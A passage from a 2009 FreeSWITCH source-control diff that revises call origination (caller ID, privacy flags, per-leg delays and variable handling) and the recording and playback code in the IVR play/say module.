 	if ((var = switch_event_get_header(var_event, "group_confirm_key"))) {
 		switch_copy_string(oglobals.key, var, sizeof(oglobals.key));
 		if ((var = switch_event_get_header(var_event, "group_confirm_file"))) {
@@ -1126,6 +1185,10 @@
 		oglobals.ring_ready = 1;
 	}
 
+	if ((var_val = switch_event_get_header(var_event, "instant_ringback")) && switch_true(var_val)) {
+		oglobals.instant_ringback = 1;
+	}
+
 	if ((var_val = switch_event_get_header(var_event, "originate_timeout"))) {
 		int tmp = atoi(var_val);
 		if (tmp > 0) {
@@ -1233,6 +1296,10 @@
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Originate attempt %d/%d in %d ms\n", try + 1, retries, sleep_ms);
 				if (caller_channel) {
 					switch_ivr_sleep(oglobals.session, sleep_ms, SWITCH_TRUE, NULL);
+					if (!switch_channel_ready(caller_channel)) {
+						status = SWITCH_STATUS_FALSE;
+						goto done;
+					}
 				} else {
 					switch_yield(sleep_ms * 1000);
 				}
@@ -1264,6 +1331,8 @@
 
 			for (i = 0; i < and_argc; i++) {
 				char *vdata;
+				const char *current_variable;
+				char variable_buffer[512] = "";
 				end = NULL;
 				chan_type = peer_names[i];
 
@@ -1343,48 +1412,98 @@
 						myflags |= SOF_FORKED_DIAL;
 					}
 				}
+				
+				/* only valid in [] since it's unique to each channel leg */
 
-				if (vdata && (var_begin = switch_stristr("origination_caller_id_number=", vdata))) {
+				if (vdata && (var_begin = switch_stristr("origination_uuid=", vdata))) {
 					char tmp[512] = "";
-					var_begin += strlen("origination_caller_id_number=");
+					var_begin += strlen("origination_uuid=");
 					var_end = strchr(var_begin, '|');
+
 					if (var_end) {
 						strncpy(tmp, var_begin, var_end-var_begin);
 					} else {
 						strncpy(tmp, var_begin, strlen(var_begin));
 					}
-					new_profile->caller_id_number = switch_core_strdup(new_profile->pool, tmp);
+
+					switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, "origination_uuid", tmp);
+				}
+
+				/* The rest are valid in both {} and [] with [] taking precedence */
+
+				current_variable = NULL;
+				
+				if (vdata && (var_begin = switch_stristr("origination_caller_id_number=", vdata))) {
+					var_begin += strlen("origination_caller_id_number=");
+					var_end = strchr(var_begin, '|');
+
+					if (var_end) {
+						strncpy(variable_buffer, var_begin, var_end-var_begin);
+					} else {
+						strncpy(variable_buffer, var_begin, strlen(var_begin));
+					}
+
+					current_variable = variable_buffer;
+				}
+				
+				if (current_variable || (current_variable = switch_event_get_header(var_event, "origination_caller_id_number"))) {
+					new_profile->caller_id_number = switch_core_strdup(new_profile->pool, current_variable);
 					myflags |= SOF_NO_EFFECTIVE_CID_NUM;
 				}
 
+				current_variable = NULL;
+				
 				if (vdata && (var_begin = switch_stristr("origination_caller_id_name=", vdata))) {
-					char tmp[512] = "";
 					var_begin += strlen("origination_caller_id_name=");
 					var_end = strchr(var_begin, '|');
+
 					if (var_end) {
-						strncpy(tmp, var_begin, var_end-var_begin);
+						strncpy(variable_buffer, var_begin, var_end-var_begin);
 					} else {
-						strncpy(tmp, var_begin, strlen(var_begin));
+						strncpy(variable_buffer, var_begin, strlen(var_begin));
 					}
-					new_profile->caller_id_name = switch_core_strdup(new_profile->pool, tmp);
+
+					current_variable = variable_buffer;
+				}
+				
+				if (current_variable || (current_variable = switch_event_get_header(var_event, "origination_caller_id_name"))) {
+					new_profile->caller_id_name = switch_core_strdup(new_profile->pool, current_variable);
 					myflags |= SOF_NO_EFFECTIVE_CID_NAME;
 				}
+				
+				current_variable = NULL;
+				
+				if (vdata && (var_begin = switch_stristr("origination_privacy=", vdata))) {
+					var_begin += strlen("origination_privacy=");
+					var_end = strchr(var_begin, '|');
 
-				if (vdata && (var_begin = switch_stristr("origination_uuid=", vdata))) {
-					char tmp[512] = "";
-					var_begin += strlen("origination_uuid=");
-					var_end = strchr(var_begin, '|');
 					if (var_end) {
-						strncpy(tmp, var_begin, var_end-var_begin);
+						strncpy(variable_buffer, var_begin, var_end-var_begin);
 					} else {
-						strncpy(tmp, var_begin, strlen(var_begin));
+						strncpy(variable_buffer, var_begin, strlen(var_begin));
 					}
-					new_profile->caller_id_name = switch_core_strdup(new_profile->pool, tmp);
-					switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, "origination_uuid", tmp);
+
+					current_variable = variable_buffer;
 				}
 				
+				if (current_variable || (current_variable = switch_event_get_header(var_event, "origination_privacy"))) {
+					new_profile->flags = SWITCH_CPF_NONE;
+					
+					if (switch_stristr("screen", current_variable)) {
+						switch_set_flag(new_profile, SWITCH_CPF_SCREEN);
+					}
+
+					if (switch_stristr("hide_name", current_variable)) {
+						switch_set_flag(new_profile, SWITCH_CPF_HIDE_NAME);
+					}
+
+					if (switch_stristr("hide_number", current_variable)) {
+						switch_set_flag(new_profile, SWITCH_CPF_HIDE_NUMBER);
+					}
+				}
+
+				current_variable = NULL;
 				switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, "originate_early_media", oglobals.early_ok ? "true" : "false");
-				
 
 				if ((reason = switch_core_session_outgoing_channel(oglobals.session, var_event, chan_type, 
 																   new_profile, &new_session, &pool, myflags)) != SWITCH_CAUSE_SUCCESS) {
@@ -1408,6 +1527,25 @@
 				originate_status[i].peer_channel = switch_core_session_get_channel(new_session);
 				switch_channel_set_flag(originate_status[i].peer_channel, CF_ORIGINATING);
 
+				if ((lc = switch_event_get_header(var_event, "local_var_clobber"))) {
+					local_clobber = switch_true(lc);
+				}
+
+				if (local_clobber) {
+					if (var_event) {
+						switch_event_t *event;
+						switch_event_header_t *header;
+						/* install the vars from the {} params */
+						for (header = var_event->headers; header; header = header->next) {
+							switch_channel_set_variable(originate_status[i].peer_channel, header->name, header->value);
+						}
+						switch_event_create(&event, SWITCH_EVENT_CHANNEL_ORIGINATE);
+						switch_assert(event);
+						switch_channel_event_set_data(originate_status[i].peer_channel, event);
+						switch_event_fire(&event);
+					}
+				}
+
 				if (vdata) {
 					char *var_array[1024] = { 0 };
 					int var_count = 0;
@@ -1426,22 +1564,24 @@
 					}
 				}
 
-				if (var_event) {
-					switch_event_t *event;
-					switch_event_header_t *header;
-					/* install the vars from the {} params */
-					for (header = var_event->headers; header; header = header->next) {
-						switch_channel_set_variable(originate_status[i].peer_channel, header->name, header->value);
+				if (!local_clobber) {
+					if (var_event) {
+						switch_event_t *event;
+						switch_event_header_t *header;
+						/* install the vars from the {} params */
+						for (header = var_event->headers; header; header = header->next) {
+							switch_channel_set_variable(originate_status[i].peer_channel, header->name, header->value);
+						}
+						switch_event_create(&event, SWITCH_EVENT_CHANNEL_ORIGINATE);
+						switch_assert(event);
+						switch_channel_event_set_data(originate_status[i].peer_channel, event);
+						switch_event_fire(&event);
 					}
-					switch_event_create(&event, SWITCH_EVENT_CHANNEL_ORIGINATE);
-					switch_assert(event);
-					switch_channel_event_set_data(originate_status[i].peer_channel, event);
-					switch_event_fire(&event);
 				}
 
 				if (originate_status[i].peer_channel) {
 					const char *vvar;
-
+					
 					if ((vvar = switch_channel_get_variable(originate_status[i].peer_channel, "leg_timeout"))) {
 						int val = atoi(vvar);
 						if (val > 0) {
@@ -1459,6 +1599,15 @@
 							originate_status[i].per_channel_progress_timelimit_sec = (uint32_t) val;
 						}
 					}
+
+					if ((vvar = switch_channel_get_variable(originate_status[i].peer_channel, "leg_delay_start"))) {
+						int val = atoi(vvar);
+						if (val > 0) {
+							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s Setting leg delay start to %d\n", 
+											  switch_channel_get_name(originate_status[0].peer_channel), val);
+							originate_status[i].per_channel_delay_start = (uint32_t) val;
+						}
+					}
 				}
 
 				if (!table) {
@@ -1477,16 +1626,14 @@
 				}
 
 				if (!switch_core_session_running(originate_status[i].peer_session)) {
-					/*if (!(flags & SOF_NOBLOCK)) {
-					  switch_channel_set_state(originate_status[i].peer_channel, CS_ROUTING);
-					  }
-					  } else {
-					*/
+					if (originate_status[i].per_channel_delay_start) {
+						switch_channel_set_flag(originate_status[i].peer_channel, CF_BLOCK_STATE);
+					}
 					switch_core_session_thread_launch(originate_status[i].peer_session);
 				}
 			}
 
-			switch_timestamp(&start);
+			switch_epoch_time_now(&start);
 
 			for (;;) {
 				uint32_t valid_channels = 0;
@@ -1514,7 +1661,7 @@
 						goto notready;
 					}
 					
-					elapsed = switch_timestamp(NULL) - start;
+					elapsed = switch_epoch_time_now(NULL) - start;
 				
 					if (elapsed > (time_t) timelimit_sec) {
 						to++;
@@ -1528,10 +1675,10 @@
 						goto notready;
 					}
 					
-					switch_yield(100000);
+					switch_cond_next();
 				}
 
-				check_per_channel_timeouts(originate_status, and_argc, start);
+				check_per_channel_timeouts(&oglobals, originate_status, and_argc, start);
 
 
 				if (valid_channels == 0) {
@@ -1653,14 +1800,14 @@
 			}
 
 			while ((!caller_channel || switch_channel_ready(caller_channel)) && check_channel_status(&oglobals, originate_status, and_argc)) {
-				time_t elapsed = switch_timestamp(NULL) - start;
+				time_t elapsed = switch_epoch_time_now(NULL) - start;
 				if (caller_channel && !oglobals.sent_ring && oglobals.ring_ready && !oglobals.return_ring_ready) {
 					switch_channel_ring_ready(caller_channel);
 					oglobals.sent_ring = 1;
 				}
 				/* When the AND operator is being used, and fail_on_single_reject is set, a hangup indicates that the call should fail. */
 				
-				check_per_channel_timeouts(originate_status, and_argc, start);
+				check_per_channel_timeouts(&oglobals, originate_status, and_argc, start);
 
 				if (oglobals.session && switch_core_session_private_event_count(oglobals.session)) {
 					switch_ivr_parse_all_events(oglobals.session);
@@ -1685,7 +1832,7 @@
 							}
 							pchannel = switch_core_session_get_channel(originate_status[i].peer_session);
 
-							if (switch_channel_get_state(pchannel) >= CS_HANGUP) {
+							if (switch_channel_down(pchannel)) {
 								cause_str = switch_channel_cause2str(switch_channel_get_cause(pchannel));
 								if (switch_stristr(cause_str, fail_on_single_reject_var)) {
 									ok = 0;
@@ -1733,7 +1880,7 @@
 						read_frame = NULL;
 					}
 					
-					if (oglobals.ring_ready && read_frame && !pass) {
+					if ((oglobals.ring_ready || oglobals.instant_ringback) && read_frame && !pass) {
 						if (ringback.fh) {
 							switch_size_t mlen, olen;
 							unsigned int pos = 0;
@@ -1772,7 +1919,7 @@
 							silence = ringback.silence;
 						}
 					} else {
-						silence = 400;
+						silence = 600;
 					}
 					
 					if ((ringback.fh || silence || ringback.audio_buffer) && write_frame.codec && write_frame.datalen) {
@@ -1787,7 +1934,7 @@
 					}
 					
 				} else {
-					switch_yield(100000);
+					switch_cond_next();
 				}
 				
 			}
@@ -1808,6 +1955,8 @@
 					continue;
 				}
 
+				//switch_channel_clear_flag(originate_status[i].peer_channel, CF_BLOCK_STATE);
+
 				if (switch_channel_test_flag(originate_status[i].peer_channel, CF_TRANSFER) 
 					|| switch_channel_test_flag(originate_status[i].peer_channel, CF_REDIRECT) 
 					|| switch_channel_test_flag(originate_status[i].peer_channel, CF_BRIDGED) ||
@@ -1833,7 +1982,7 @@
 							}
 						}
 					}
-					if (switch_channel_ready(originate_status[i].peer_channel)) {
+					if (switch_channel_up(originate_status[i].peer_channel)) {
 						if (caller_channel && i == 0) {
 							holding = switch_channel_get_variable(caller_channel, SWITCH_HOLDING_UUID_VARIABLE);
 							holding = switch_core_session_strdup(oglobals.session, holding);
@@ -1855,7 +2004,7 @@
 			} else {
 				status = SWITCH_STATUS_FALSE;
 				if (caller_channel && peer_channel) {
-					process_import(oglobals.session, peer_channel);
+					switch_process_import(oglobals.session, peer_channel, "import");
 				}
 				peer_channel = NULL;
 				goto done;
@@ -1906,7 +2055,7 @@
 				if (caller_channel) {
 					switch_channel_set_variable(caller_channel, "originate_disposition", "call accepted");
 					if (peer_channel) {
-						process_import(oglobals.session, peer_channel);
+						switch_process_import(oglobals.session, peer_channel, "import");
 					}
 				}
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Originate Resulted in Success: [%s]\n", switch_channel_get_name(peer_channel));
@@ -1914,7 +2063,6 @@
 
 			} else {
 				const char *cdr_var = NULL;
-				int cdr_total = 0;
 				switch_xml_t cdr;
 				char *xml_text;
 				char buf[128] = "", buf2[128] = "";
@@ -1937,10 +2085,20 @@
 				
 				if (cdr_var) {
 					for (i = 0; i < and_argc; i++) {
+						switch_channel_t *channel;
+
 						if (!originate_status[i].peer_session) {
                             continue;
                         }
+
+						channel = switch_core_session_get_channel(originate_status[i].peer_session);
 						
+						switch_channel_wait_for_state_timeout(channel, CS_REPORTING, 5000);
+						
+						if (!switch_channel_test_flag(channel, CF_TIMESTAMP_SET)) {
+							switch_channel_set_timestamps(channel);
+						}
+						
 						if (switch_ivr_generate_xml_cdr(originate_status[i].peer_session, &cdr) == SWITCH_STATUS_SUCCESS) {
 							if ((xml_text = switch_xml_toxml(cdr, SWITCH_FALSE))) {
 								switch_snprintf(buf, sizeof(buf), "%s_%d", cdr_var, ++cdr_total);
@@ -1998,7 +2156,7 @@
 				switch_core_session_reset(oglobals.session, SWITCH_FALSE, SWITCH_TRUE);
 			}
 
-			if (write_codec.implementation) {
+			if (switch_core_codec_ready(&write_codec)) {
 				switch_core_codec_destroy(&write_codec);
 			}
 
@@ -2041,10 +2199,20 @@
 	}
 
 	if (*bleg) {
+		if (session && caller_channel && !switch_channel_get_originatee_caller_profile(caller_channel)) {
+			switch_caller_profile_t *cloned_profile, *peer_profile = switch_channel_get_caller_profile(switch_core_session_get_channel(*bleg));
+			
+			if (peer_profile) {
+				if ((cloned_profile = switch_caller_profile_clone(session, peer_profile)) != 0) {
+					switch_channel_set_originatee_caller_profile(caller_channel, cloned_profile);
+				}
+			}
+		}
+
 		switch_ivr_sleep(*bleg, 0, SWITCH_TRUE, NULL);
 	}
 
-	if (oglobals.session) {
+	if (oglobals.session && status == SWITCH_STATUS_SUCCESS) {
 		switch_ivr_sleep(oglobals.session, 0, SWITCH_TRUE, NULL);
 	}
 

Modified: freeswitch/branches/seven/src/switch_ivr_play_say.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_ivr_play_say.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_ivr_play_say.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Paul D. Tinsley <pdt at jackhammer.org>
  * Neal Horman <neal at wanlink dot com>
  * Matt Klein <mklein@nmedia.net>
@@ -62,6 +62,7 @@
 	"ACCOUNT_NUMBER",
 	"NAME_SPELLED",
 	"NAME_PHONETIC",
+	"SHORT_DATE_TIME",
 	NULL
 };
 
@@ -133,7 +134,7 @@
 	}
 	switch_channel_event_set_data(channel, hint_data);
 
-	if (switch_xml_locate("phrases", NULL, NULL, NULL, &xml, &cfg, hint_data) != SWITCH_STATUS_SUCCESS) {
+	if (switch_xml_locate("phrases", NULL, NULL, NULL, &xml, &cfg, hint_data, SWITCH_TRUE) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of phrases failed.\n");
 		goto done;
 	}
@@ -214,7 +215,10 @@
 		goto done;
 	}
 
-	switch_channel_pre_answer(channel);
+	if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
 
 	while (input && !done) {
 		char *pattern = (char *) switch_xml_attr(input, "pattern");
@@ -244,7 +248,7 @@
 					char *func = (char *) switch_xml_attr_soft(action, "function");
 
 					if (strchr(pattern, '(') && strchr(adata, '$')) {
-						len = (uint32_t) (strlen(data) + strlen(adata) + 10);
+						len = (uint32_t) (strlen(data) + strlen(adata) + 10) * proceed;
 						if (!(substituted = malloc(len))) {
 							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Memory Error!\n");
 							switch_regex_safe_free(re);
@@ -272,7 +276,7 @@
 						status = switch_ivr_play_file(session, NULL, odata, args);
 					} else if (!strcasecmp(func, "break")) {
 						done = 1;
-						break;
+						/* must allow the switch_safe_free below to execute or we leak - do not break here */
 					} else if (!strcasecmp(func, "execute")) {
 						switch_application_interface_t *app;
 						char *cmd, *cmd_args;
@@ -336,7 +340,7 @@
 			switch_safe_free(substituted);
 
 
-			if (match && do_break && switch_true(do_break)) {
+			if ((match && do_break && switch_true(do_break)) || status == SWITCH_STATUS_BREAK) {
 				break;
 			}
 
@@ -350,7 +354,7 @@
 		input = input->next;
 	}
 
-  done:
+ done:
 
 	if (hint_data) {
 		switch_event_destroy(&hint_data);
@@ -377,7 +381,7 @@
 	switch_dtmf_t dtmf = { 0 };
 	switch_file_handle_t lfh = { 0 };
 	switch_frame_t *read_frame;
-	switch_codec_t codec, *read_codec = switch_core_session_get_read_codec(session);
+	switch_codec_t codec, write_codec = { 0 };
 	char *codec_name;
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
 	const char *p;
@@ -385,20 +389,73 @@
 	time_t start = 0;
 	uint32_t org_silence_hits = 0;
 	int asis = 0;
+	int waste_resources = 0;
+    switch_codec_implementation_t read_impl = {0};
+	switch_frame_t write_frame = { 0 };
+	unsigned char write_buf[SWITCH_RECOMMENDED_BUFFER_SIZE] = { 0 };
 
-	switch_assert(read_codec != NULL);
 
+    switch_core_session_get_read_impl(session, &read_impl);
+
+	if (!switch_channel_ready(channel)) {
+		return SWITCH_STATUS_FALSE;
+	}
+
+	if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_FALSE;
+	}
+	
+	if (!switch_channel_media_ready(channel)) {
+		return SWITCH_STATUS_FALSE;
+	}
+
 	if (!fh) {
 		fh = &lfh;
 	}
 
-	switch_channel_pre_answer(channel);
+	fh->channels = read_impl.number_of_channels;
+	fh->native_rate = read_impl.actual_samples_per_second;
 
-	fh->channels = read_codec->implementation->number_of_channels;
-	fh->native_rate = read_codec->implementation->actual_samples_per_second;
+	if ((vval = switch_channel_get_variable(channel, "record_sample_rate"))) {
+		int tmp = 0;
 
+		tmp = atoi(vval);
 
+		if (switch_is_valid_rate(tmp)) {
+			fh->samplerate = tmp;
+		}
+	}
 
+
+	if ((vval = switch_channel_get_variable(channel, "record_waste_resources"))) {
+	
+		if (switch_true(vval)) {
+			waste_resources = 1400;
+		} else {
+			if ((waste_resources = atoi(vval)) < 0) {
+				waste_resources = 0;
+			}
+		}
+
+		if (switch_core_codec_init(&write_codec,
+								   "L16",
+								   NULL,
+								   read_impl.actual_samples_per_second,
+								   read_impl.microseconds_per_packet / 1000,
+								   read_impl.number_of_channels,
+								   SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
+								   switch_core_session_get_pool(session)) == SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Raw Codec Activated, ready to waste resources!\n");
+			write_frame.data = write_buf;
+			write_frame.buflen = sizeof(write_buf);
+			write_frame.datalen = read_impl.decoded_bytes_per_packet;
+			write_frame.samples = write_frame.datalen / 2;
+			write_frame.codec = &write_codec;
+		} else {
+			return SWITCH_STATUS_FALSE;
+		}
+	}
+	
 	if (!strstr(file, SWITCH_URL_SEPARATOR)) {
 		char *ext;
 		const char *prefix;
@@ -414,18 +471,21 @@
 		if ((ext = strrchr(file, '.'))) {
 			ext++;
 		} else {
-			ext = read_codec->implementation->iananame;
+			ext = read_impl.iananame;
 			file = switch_core_session_sprintf(session, "%s.%s", file, ext);
 			asis = 1;
 		}
 	}
 
-	fh->pre_buffer_datalen = SWITCH_DEFAULT_FILE_BUFFER_LEN;
+	vval = switch_channel_get_variable(channel, "enable_file_write_buffering");
+	if (!vval || switch_true(vval)) {
+		fh->pre_buffer_datalen = SWITCH_DEFAULT_FILE_BUFFER_LEN;
+	}
 
 	if (switch_core_file_open(fh,
 							  file,
 							  fh->channels,
-							  read_codec->implementation->actual_samples_per_second,
+							  read_impl.actual_samples_per_second,
 							  SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
 		switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
 		switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
@@ -436,7 +496,9 @@
 		asis = 1;
 	}
 
-	switch_channel_pre_answer(channel);
+	if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_FALSE;
+	}
 
 	if ((p = switch_channel_get_variable(channel, "RECORD_TITLE"))) {
 		vval = switch_core_session_strdup(session, p);
@@ -479,9 +541,9 @@
 		if (switch_core_codec_init(&codec,
 								   codec_name,
 								   NULL,
-								   read_codec->implementation->actual_samples_per_second,
-								   read_codec->implementation->microseconds_per_packet / 1000,
-								   read_codec->implementation->number_of_channels,
+								   read_impl.actual_samples_per_second,
+								   read_impl.microseconds_per_packet / 1000,
+								   read_impl.number_of_channels,
 								   SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
 								   switch_core_session_get_pool(session)) == SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Raw Codec Activated\n");
@@ -489,7 +551,7 @@
 		} else {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
 							  "Raw Codec Activation Failed %s@%uhz %u channels %dms\n", codec_name, fh->samplerate,
-							  fh->channels, read_codec->implementation->microseconds_per_packet / 1000);
+							  fh->channels, read_impl.microseconds_per_packet / 1000);
 			switch_core_file_close(fh);
 			switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
 			return SWITCH_STATUS_GENERR;
@@ -497,7 +559,7 @@
 	}
 
 	if (limit) {
-		start = switch_timestamp(NULL);
+		start = switch_epoch_time_now(NULL);
 	}
 	
 	if (fh->thresh) {
@@ -505,9 +567,9 @@
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't detect silence on a native recording.\n");
 		} else {
 			if (fh->silence_hits) {
-				fh->silence_hits = fh->samplerate * fh->silence_hits / read_codec->implementation->samples_per_packet;
+				fh->silence_hits = fh->samplerate * fh->silence_hits / read_impl.samples_per_packet;
 			} else {
-				fh->silence_hits = fh->samplerate * 3 / read_codec->implementation->samples_per_packet;
+				fh->silence_hits = fh->samplerate * 3 / read_impl.samples_per_packet;
 			}
 			org_silence_hits = fh->silence_hits;
 		}
@@ -531,15 +593,15 @@
 			switch_ivr_parse_all_events(session);
 		}
 
-		if (start && (switch_timestamp(NULL) - start) > limit) {
+		if (start && (switch_epoch_time_now(NULL) - start) > limit) {
 			break;
 		}
 
 		if (args && (args->input_callback || args->buf || args->buflen)) {
 			/*
-			   dtmf handler function you can hook up to be executed when a digit is dialed during playback 
-			   if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
-			 */
+			  dtmf handler function you can hook up to be executed when a digit is dialed during playback 
+			  if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
+			*/
 			if (switch_channel_has_dtmf(channel)) {
 				if (!args->input_callback && !args->buf) {
 					status = SWITCH_STATUS_BREAK;
@@ -557,7 +619,7 @@
 			if (args->input_callback) {
 				switch_event_t *event = NULL;
 
-				if (switch_core_session_dequeue_event(session, &event) == SWITCH_STATUS_SUCCESS) {
+				if (switch_core_session_dequeue_event(session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
 					status = args->input_callback(session, event, SWITCH_INPUT_TYPE_EVENT, args->buf, args->buflen);
 					switch_event_destroy(&event);
 				}
@@ -588,10 +650,10 @@
 
 			for (count = 0; count < samples; count++) {
 				energy += abs(fdata[j]);
-				j += read_codec->implementation->number_of_channels;
+				j += read_impl.number_of_channels;
 			}
 
-			if (!(divisor = read_codec->implementation->actual_samples_per_second / 8000)) {
+			if (!(divisor = read_impl.actual_samples_per_second / 8000)) {
 				divisor = 1;
 			}
 
@@ -613,8 +675,23 @@
 				break;
 			}
 		}
+
+		if (waste_resources) {
+			switch_generate_sln_silence((int16_t *) write_frame.data, write_frame.samples, waste_resources);
+			if (switch_core_session_write_frame(session, &write_frame, SWITCH_IO_FLAG_NONE, 0) != SWITCH_STATUS_SUCCESS) {
+				break;
+			}
+		}
+
 	}
 
+	if (waste_resources) {
+		switch_core_codec_destroy(&write_codec);
+	}
+
+	switch_channel_set_variable_printf(channel, "record_ms", "%d", fh->samples_in / read_impl.samples_per_second);
+	switch_channel_set_variable_printf(channel, "record_samples", "%d", fh->samples_in);
+
 	switch_core_file_close(fh);
 	switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
 	return status;
@@ -641,19 +718,22 @@
 	switch_dtmf_t dtmf = { 0 };
 	switch_buffer_t *audio_buffer;
 	switch_frame_t *read_frame = NULL;
-	switch_codec_t *read_codec = NULL, write_codec = { 0 };
+	switch_codec_t write_codec = { 0 };
 	switch_frame_t write_frame = { 0 };
 	switch_byte_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
 	switch_channel_t *channel = switch_core_session_get_channel(session);
+	switch_codec_implementation_t read_impl = {0};
+    switch_core_session_get_read_impl(session, &read_impl);
 
-	switch_channel_pre_answer(channel);
-	read_codec = switch_core_session_get_read_codec(session);
+	if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_FALSE;
+	}
 
 	if (switch_core_codec_init(&write_codec,
 							   "L16",
 							   NULL,
-							   read_codec->implementation->actual_samples_per_second,
-							   read_codec->implementation->microseconds_per_packet / 1000,
+							   read_impl.actual_samples_per_second,
+							   read_impl.microseconds_per_packet / 1000,
 							   1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
 							   NULL, switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
 
@@ -662,10 +742,11 @@
 	memset(&ts, 0, sizeof(ts));
 	write_frame.codec = &write_codec;
 	write_frame.data = data;
+	write_frame.buflen = sizeof(data);
 
 	switch_buffer_create_dynamic(&audio_buffer, 512, 1024, 0);
 	teletone_init_session(&ts, 0, teletone_handler, audio_buffer);
-	ts.rate = read_codec->implementation->actual_samples_per_second;
+	ts.rate = read_impl.actual_samples_per_second;
 	ts.channels = 1;
 	teletone_run(&ts, script);
 
@@ -700,9 +781,9 @@
 
 		if (args && (args->input_callback || args->buf || args->buflen)) {
 			/*
-			   dtmf handler function you can hook up to be executed when a digit is dialed during gentones 
-			   if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
-			 */
+			  dtmf handler function you can hook up to be executed when a digit is dialed during gentones 
+			  if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
+			*/
 			if (switch_channel_has_dtmf(channel)) {
 				if (!args->input_callback && !args->buf) {
 					status = SWITCH_STATUS_BREAK;
@@ -721,7 +802,7 @@
 			if (args->input_callback) {
 				switch_event_t *event;
 
-				if (switch_core_session_dequeue_event(session, &event) == SWITCH_STATUS_SUCCESS) {
+				if (switch_core_session_dequeue_event(session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
 					status = args->input_callback(session, event, SWITCH_INPUT_TYPE_EVENT, args->buf, args->buflen);
 					switch_event_destroy(&event);
 				}
@@ -733,7 +814,7 @@
 			}
 		}
 
-		if ((write_frame.datalen = (uint32_t) switch_buffer_read_loop(audio_buffer, write_frame.data, read_codec->implementation->decoded_bytes_per_packet)) <= 0) {
+		if ((write_frame.datalen = (uint32_t) switch_buffer_read_loop(audio_buffer, write_frame.data, read_impl.decoded_bytes_per_packet)) <= 0) {
 			break;
 		}
 
@@ -766,12 +847,11 @@
 	switch_size_t olen = 0, llen = 0;
 	switch_frame_t write_frame = { 0 };
 	switch_timer_t timer = { 0 };
-	switch_codec_t codec;
+	switch_codec_t codec = { 0 };
 	switch_memory_pool_t *pool = switch_core_session_get_pool(session);
 	char *codec_name;
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
 	switch_file_handle_t lfh;
-	switch_codec_t *read_codec = NULL;
 	const char *p;
 	char *title = "", *copyright = "", *software = "", *artist = "", *comment = "", *date = "";
 	uint8_t asis = 0;
@@ -780,498 +860,560 @@
 	const char *timer_name;
 	const char *prebuf;
 	const char *alt = NULL;
+	const char *sleep_val;
+	const char *play_delimiter_val;
+	char play_delimiter = 0;
+	int sleep_val_i = 250;
 	int eof = 0;
 	switch_size_t bread = 0;
 	int l16 = 0;
+    switch_codec_implementation_t read_impl = {0};
+	char *file_dup;
+	char *argv[128] = { 0 };
+	int argc;
+	int cur;
+	int done = 0;
 
-	switch_channel_pre_answer(channel);
+    switch_core_session_get_read_impl(session, &read_impl);
 
+	if ((play_delimiter_val = switch_channel_get_variable(channel, "playback_delimiter"))) {
+		play_delimiter = *play_delimiter_val;
+
+		if ((sleep_val = switch_channel_get_variable(channel, "playback_sleep_val"))) {
+			int tmp = atoi(sleep_val);
+			if (tmp >= 0) {
+				sleep_val_i = tmp;
+			}
+		}
+	}
+
